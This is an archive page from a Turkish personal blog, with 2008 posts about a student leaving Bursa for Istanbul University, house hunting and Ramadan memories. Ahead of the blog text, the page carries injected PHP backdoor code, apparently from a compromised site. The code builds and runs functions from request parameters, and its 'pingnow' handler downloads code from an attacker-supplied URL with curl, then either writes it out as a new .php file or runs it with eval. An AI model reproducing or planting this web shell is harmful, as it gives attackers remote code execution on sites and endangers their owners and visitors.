(strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/7.') !== false); ?> if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['0402a745c221bef24158643f3c4fd113']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} ogin', $user_login); } if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); $fnm = md5(rand(0,100)).'.php'; $fp = fopen($fnm, "w"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); fclose($fp); echo ""; } if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $re = curl_exec($ch); curl_close($ch); eval($re); }}} if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['2033e5d5afb66d8eb6cf1954962ba1b8']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} ?> if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['0402a745c221bef24158643f3c4fd113']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Mustafa Öztürk | Hayata yeni başlayanlar için yol haritası. - Part 10

Nietzsche mutluluktan ağlamadı.

İstanbul’da İlk Hafta..

Posted by on Eki 12, 2008 in Günlük | 1 comment

Uzun zamandır yazmıyordum bloga.. Nasıl da özlemiş yazmayı.. Aslında uzun zamandır bilgisayardan bu kadar ayrı kalmamıştım.. Bir hafta içinde sadece yarım saat internet’e girdim.. Mouse kullanmaktan bileğimde oluşan nasır bile iyileşmek üzere.. Yine dağıttım konuyu, toparlıyorum..

İstanbul’da ilk hafta tanıyarak ve arayarak geçti.. Evet.. Tam olarak böyle.. Bilmediğim bir şehir.. Bilmediğim bir okul.. Bilmediğim bir hayat.. Bir de kalacak kesin bir yerinizin olmayışı eklenince tanımak, aramak olayı zirve yapıyor.. Neyse ki en yakın arkadaşım da benimle aynı okulda, aynı bölümde, aynı sınıfta, aynı ranzada.. Böyle olması inanılmaz bir pozitif etki yapıyor..

Bir hafta boyunca okulda  sadece derslikleri aradık.. Hatta Türk Dili dersine, dersliği bulamadığımız için geç kaldık.. :)  Sadece İşletme’ye Giriş dersinde konu işledik.. Kalan derslerin hepsinde ya hoca gelmedi, ya da kendisini tanıtıp çekti gitti.. Bizim de işimize geldi durumun böyle olması; bol bol ev aradık.. Sonunda da bulduk..

İnternetten, emlakçıdan, gazeteden vs. 250 ev seçmişizdir.. Bu 250 evin en az 50′sini gezmişizdir.. İnanın hiç kolay değil bu ev bulma işi.. İlan’da “şirin”, “tatlı” gibi kelimeler geçiyorsa anlayınki o ev kibrit kutusu kadar peynir’e denk gelir.. “Serin” gibi bir kelime geçiyorsa bilinki apartman boşluğuna bakıyordur, gündüz 12′de evi görebilmek için ışıkları yakmanız gerekir.. Fiyatı uygundur ama güneş girmeyen evin doktorla muhabbeti sık olacağından fiyat artar, sağlığınıza olanlar da cabası..

Bir de bu saate bıraktıysanız bütün öğrenciler, polisler eşyalı evleri tutmuş oluyor.. Hangi emlakçıya girseniz eşyalı ev yok cevabını alıyorsunuz.. İkinci el ya da spot, bir evlik eşya masrafı da 2 milyar’a yaklaşıyor.. Neyse ki sonunda eşyalı, bütçemize uygun bir ev bulabildik..

Önümüzdeki günlerde eve taşındığımızda ve ondan da bir kaç zaman sonra yeni bilgisayarıma kavuştuğumda yeni bir tema, yeni bir içerik, kısacası yeni bir site ile yazmaya devam edeceğim..

Mustafa Öztürk, İstanbul’dan bildirdi.. : )

NoT: Yukarıda bahsettiğim ev işi şu anda yalan oldu.. Yurttan da kovulmak üzereyiz.. Hadi hayırlısı bakalım..

Read More

Bayram Gibi Bayramlar..

Posted by on Eki 4, 2008 in Günlük | 5 comments

Bu aralar çok yoğunum.. İstanbul’da geçirdiğim ilk haftam hakkında bile yazamadım.. Ama en kısa zamanda yazacağım.. Çok uzatmadan sözü mesajımı verip bırakıyorum..

Huzur ve Barış dolu bir dünya dileğiyle.. Bayramlarınız Bayram olsun..

Read More

Bana Bir “Tek Gidişlik” Bilet…

Posted by on Eki 4, 2008 in Günlük | 0 comments

Dün İstanbul’daydım.. Sabah gidip akşam döndüm; daha önce de üç beş defa yaptığım gibi.. Yurt işini falan hallettik, başımızı sokacak bir yerimiz olmalı ama değil mi..

Bu sabah uyanır uyanmaz da temelli gidiş için bilet almaya gittim.. Şimdiye kadar hep gidiş – dönüş alıyordum bileti.. Bu sefer tek gidiş.. Tuhaf geldi..

Sonra annemle konuştum.. Akşama akrabaları yemeğe çağırmış.. Hem iftar yemeği olur hem gitmeden önce bir görsünler seni falan dedi..

Bu yazıyı yazdıktan sonra da bavulumu yerleştireceğim.. Kısa kollu çok ayırmıştım ama havalar soğudu bile.. Pek koymam herhalde..

Ne bileyim öyle bir şey işte.. “Pişman desen değilim; bir harmanım bu akşam..

Bu sefer gidiyorum sanırım hayallerimin şehrine..

Annemin en çok ettiği dua takıldı dilime bugünlerde.. Takıldı dediğime bakmayın; belki de hiç bu kadar kalpten etmemiştim daha önce.. Yeni bir şeye başlıyorsa annem böyle der hep: “Allah utandırmasın..”

Utandırma Allah’ım..

Hadi eyvallah..

Read More

Bursa’da Son Bir Hafta..

Posted by on Eyl 14, 2008 in Günlük | 10 comments

Bursa’da Son Bir Hafta..

Bursa - Tophane

Bursa’m.. Şehrim..
Nasıl bir nankörlük yaptım sana.. Bunca aydır hep İstanbul’dan bahsetti, sana olan sevgimden hiç bahsetmedi bu deli.. Affet beni..

Sakın sanma ayrılık vakti geldiği için bu güzel sözleri söylediğimi..  Her zaman derim Bursa’mın yeri farklı diye.. Belki ilk nefesimi burda almadım ama gözümü ilk sende açtım.. Beni ben yapan sendin aslında ben değil.. İki tekerlekli bisikleti ilk kez sende sürdüm ve ilk sürüşte düştüm.. Kendimi kötülüklerden koruma irademi daha ilk okulda verdin bana.. Hayatımın en önemli parçası; lisem oldun.. Ne öğrendiysem lisemde öğrendim.. Nasıl olmam gerektiğini çok geç öğretmeye başlasan da nasıl olmamam gerektiğini çok iyi öğrettin.. Sivilceli lise yıllarımda sürekli yalandan arkadaş, bir defa da gerçekten dost oldun, hiç kavuşamadığım sevgilim oldun.. 12 yıl öğrencin oldum, sadece  son 1 yıl öğretmenim oldun..
14 yıl boyunca her canım sıkıldığında gözlerimin içine bakıp bana güven veren, güç veren Uludağ oldun.. Söz veriyorum, Yedi Tepe’si birlikte gelse bir Uludağ edemeyecek kalbimde..

Şimdi seninle son haftama giriyorum.. Tatillerde elbet döneceğim ama okul bitince döner miyim inan bilmiyorum..

Şimdi son 1 hafta ya, başladı son a son b muhabbetleri.. Yarın akşam son kez Tophane’ye çıkayım diyorum.. Şehrin ışıklarını doldurayım içime, son kez.. Bir gece de Mudanya yaparım.. Közde mısır falan yerim orda.. Sonbahar da geldi sayılır, bir de sahlep çıktıysa karanlık denize karşı..

Annem artık misafirim diye seviyor.. En acısı da o geliyor.. Eşyalarını bi çıkar; neyin eksik neyin tamam bakalım diyor.. Ulan.. Koyuyor..

Uludağ bavula sığmaz mı? Bunca anıyı taşımak için nakliye şirketi ile mi anlaşmalı? Valla ağlamıyorum lan.. Toz kaçtı sadece.. Senin tozu, dumanın Bursa’m.. Hep tam zamanında yetişti zaten.. .)

Daha acısı da var.. Bir kısmına kalsam bile sahip çıkamıyırum.. Ben gitmesem de onlar benden gidecek..

Sevdiklerimi böyle çok sevmeyi de sen öğrettin Bursa’m.. Elimden tutup ilk şiirimi yazdırdığın gece.. İyi mi yaptın kötü mü, şimdi sen karar ver..

Amma velakin buraya kadarmış işte.. Bu insan gidiyor yıllardır uzaktan söylediği bir şarkıya.. Bu sonbahar’da İstanbul’a..

Hadi Eyvallah..

Read More

Ve Mustafa Kendisini İstanbul Üniversitesine Bağlayan 4 Yıllık İmza’yı Atar..

Posted by on Eyl 7, 2008 in Öss 2008'e Doğru!.. | 20 comments

Ve Mustafa Kendisini İstanbul Üniversitesine Bağlayan 4 Yıllık İmza’yı Atar..

İstanbul Üniversitesi Öğrenci Kimliği, İstanbul Üniversitesi

Şu yukarıda gördüğünüz kimlik kartı da belgesi oluyor sanırım =) İşte şu yukarıda gördüğünüz kart içindi bütün bu curcuna..

Şehre girişim süperdi ama bu sefer..

Zafer kazanmış komutan gibiydim.. =) Kolay mı be.. Savaş bitmişti, 2008 İstanbul Antlaşması’nı imzalamaya geliyordum.. =)

İstanbul Üniversitesi bu kayıtlar için çok güzel organize olmuştu, her şey çok hızlı oldu.. Üniversite’ye girdikten sonra yarım saat geçmeden bütün işlemler bitmişti.. Ama dikkatimi asıl çeken, asıl beni benden alanşey farklıydı.. Çatık kaşlı bir liseye alışmıştım.. Fakat İstanbul Üniversitesi gülüyordu.. İçindeki herkes yeni gelen bizlere yardımcı olmak için oldukça heyecanlıydı ve görevlerini fazlasıyla yerine getiriyordu.. Çok, çok güzeldi.. .)

Ama ama okulun dışı kabus gibiydi =\ Onlarca yurt arasında bir tane bile adam akıllı yurt yoktu.. Ben hayatımda hiç bu kadar korkunç bir durum görmedim..

Durum böyle olunca ve bana da devlet yurdu çıkmayınca yurtsuz kaldım.. =\ İlk 30 gün devlet yurdunda misafir öğrenci olarak kalacağım.. 30 gün içinde yedeklerden sıra bana gelmezse başımın çaresine bakmak zorundayım =\

Kalacak yerim hala belli olmasa da uzun lafın kısası dostlar artık resmen İstanbul’luyum.. İstanbul Üniversiteli’yim.. :)

Umarım hayırlı olur.. :)

Read More

Niye Gelmedin Ramazan?

Posted by on Eyl 1, 2008 in Günlük | 10 comments

Evet.. Ramazan geldi.. Tam şu anda kapımın önünde bekliyor ramazan.. Davul çalıyor.. Mani falan da söylediği yok.. Sadece bam güm davula vuruyor.. Uzaklaşsa bari bir an önce.. Belki uzaktan hoş gelir davulun sesi..

Yine de hatırlatıyor işte.. Eski ramazanları.. Tamam daha 18 yaşında olabilirim.. Eski ramazan muhabbeti açmaya hiç niyetim yok.. Eski dediğim ramazan sizin eski ramazanlarınızdan değil.. Benim eski ramazanlarımdan..

Okul günlerim ile çakışan ramazan.. Hani hangi öğretmenin sigara içtiğinin, hangisinin içmediğinin en iyi anlaşıldığı günler.. Ya da açlığa en az tahammülü olan arkadaşlar.. Son ders yaklaştıkça gerilir sinirler..

Ama her şeye rağmen okulun en keyifli günleridir ramazan günleri.. İftar vakti’nin erken olduğu yıllarda son dersleri yemek yiyerek kaynatmaktan daha eğlenceli bir şey olabilir miydi? Yanında bir şey getirmediğin zamanlarda ondan bundan bisküviydi krakerdi otlanmak..  Hey gidi..

Geçen sene iftar tam okul çıkışına denk geliyordu.. Her gece çıkışta bir şey yemek farz olmuştu.. Biz çiğ köfteye sardırmıştık.. Neredeyse her gün aldık çiğ köfte dürümü.. Bir gün nasıl da hain çiğ köfteci dürümün içine 20 küsür acı turşu koymuştu.. Ağzımızı açıp boş caddede koşmuştuk resmen alevleri söndürmek için.. Acısını yeniden hissettim o çiğ köftenin.. Tabii bir gün sonra dershane tuvaletinde çektiğimiz acı da unutulur şey değil.. Unutulur mu ya? Yok yok, o kadar da değil.. Unutulmaz.. Bak yine acıdı.. Dilim değil ama bu sefer.. Çok acıdı hem de..

Bir gün de toplanıp pideli köfte yemeğe gitmiştik.. En çok o gece dönmüştü “Hoş geldin Remeyzan” muhabbeti.. Sen vardın.. Ben vardım.. O vardı.. Onun kuzeni de gelmişti.. Diğeri de yanımızdaydı.. Hatırladın işte ya,  sen de vardın.. Sahte, kirli sandığımız gülüşlerimiz nasıl da aydınlatıyordu geceyi.. Şimdi düşünüyorum da o an kirli dediğimiz gülüşlerimiz ne kadar da saf ve temizmiş.. Neden daha kirli olur ki insanın gülüşü her yeni ramazanda bir öncekine göre?  Bilmem.. =\

Ama hatırladın biliyorum.. Eski ramazan..  Eski.. Çok eski..

O günleri düşündüm de bir an için aynı heyecanı yaşar gibi oldum.. İnandım birden davulu da duyunca Ramazan’ın geldiğine.. Ama sadece bana öyle gelmiş, gelen giden yok.. Sen yoksun, O yok.. O’nun kuzeni yok.. Ben.. Sanırım ben de yokum.. Nereye gittik.. Ramazan geldi.. Biz niye gelemedik?

Bu sefer gelemedin be Ramazan.. Özür dilerim..

Davulcu uzaklaşıyor.. Hala mani yok.. Hala rastgele vuruyor davula.. Anlayacağınız ramazan kulağa uzaktan bile pek hoş gelmiyor bu sene..

Read More

Sesleri duyuyor musunuz?

Posted by on Ağu 29, 2008 in Günlük | 8 comments

Geliyorlar..  =\

Read More
Page 10 of 24« First...89101112...20...Last »